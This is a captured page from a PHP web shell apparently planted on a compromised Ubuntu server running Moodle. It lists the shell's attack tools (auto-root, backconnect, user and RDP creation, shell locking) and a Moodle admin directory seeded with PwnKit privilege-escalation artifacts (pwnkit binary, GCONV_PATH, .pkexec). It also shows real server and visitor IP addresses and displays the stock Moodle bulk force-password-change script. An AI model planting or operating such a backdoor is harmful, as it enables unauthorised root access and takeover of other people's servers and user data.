Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
user /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
lib.php
1.78
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
user_bulk.php
3.06
KB
-rwxrwxrwx
user_bulk_cohortadd.php
4.83
KB
-rwxrwxrwx
user_bulk_cohortadd_form.php
1.37
KB
-rwxrwxrwx
user_bulk_confirm.php
2.17
KB
-rwxrwxrwx
user_bulk_delete.php
2.07
KB
-rwxrwxrwx
user_bulk_display.php
2.48
KB
-rwxrwxrwx
user_bulk_download.php
3.88
KB
-rwxrwxrwx
user_bulk_forcepasswordchange....
2.43
KB
-rwxrwxrwx
user_bulk_forms.php
7.45
KB
-rwxrwxrwx
user_bulk_message.php
2.61
KB
-rwxrwxrwx
user_message_form.php
593
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : user_bulk_forcepasswordchange.php
<?php /** * script for bulk user force password change */ require_once('../../config.php'); require_once('lib.php'); require_once($CFG->libdir.'/adminlib.php'); $confirm = optional_param('confirm', 0, PARAM_BOOL); admin_externalpage_setup('userbulk'); require_capability('moodle/user:update', context_system::instance()); $return = $CFG->wwwroot.'/'.$CFG->admin.'/user/user_bulk.php'; if (empty($SESSION->bulk_users)) { redirect($return); } echo $OUTPUT->header(); if ($confirm and confirm_sesskey()) { // only force password change if user may actually change the password $authsavailable = get_enabled_auth_plugins(); $changeable = array(); foreach($authsavailable as $authplugin) { if (!$auth = get_auth_plugin($authplugin)) { continue; } if ($auth->is_internal() and $auth->can_change_password()) { $changeable[$authplugin] = true; } } $parts = array_chunk($SESSION->bulk_users, 300); foreach ($parts as $users) { list($in, $params) = $DB->get_in_or_equal($users); $rs = $DB->get_recordset_select('user', "id $in", $params); foreach ($rs as $user) { if (!empty($changeable[$user->auth])) { set_user_preference('auth_forcepasswordchange', 1, $user->id); unset($SESSION->bulk_users[$user->id]); } else { echo $OUTPUT->notification(get_string('forcepasswordchangenot', '', fullname($user, true))); } } $rs->close(); } echo $OUTPUT->notification(get_string('changessaved'), 'notifysuccess'); echo $OUTPUT->continue_button($return); } else { list($in, $params) = $DB->get_in_or_equal($SESSION->bulk_users); $userlist = $DB->get_records_select_menu('user', "id $in", $params, 'fullname', 'id,'.$DB->sql_fullname().' AS fullname', 0, MAX_BULK_USERS); $usernames = implode(', ', $userlist); if (count($SESSION->bulk_users) > MAX_BULK_USERS) { $usernames .= ', ...'; } echo $OUTPUT->heading(get_string('confirmation', 'admin')); $formcontinue = new single_button(new moodle_url('/admin/user/user_bulk_forcepasswordchange.php', array('confirm' => 1)), get_string('yes')); $formcancel = new single_button(new moodle_url('/admin/user/user_bulk.php'), get_string('no'), 'get'); echo $OUTPUT->confirm(get_string('forcepasswordchangecheckfull', '', $usernames), $formcontinue, $formcancel); } echo $OUTPUT->footer();
Close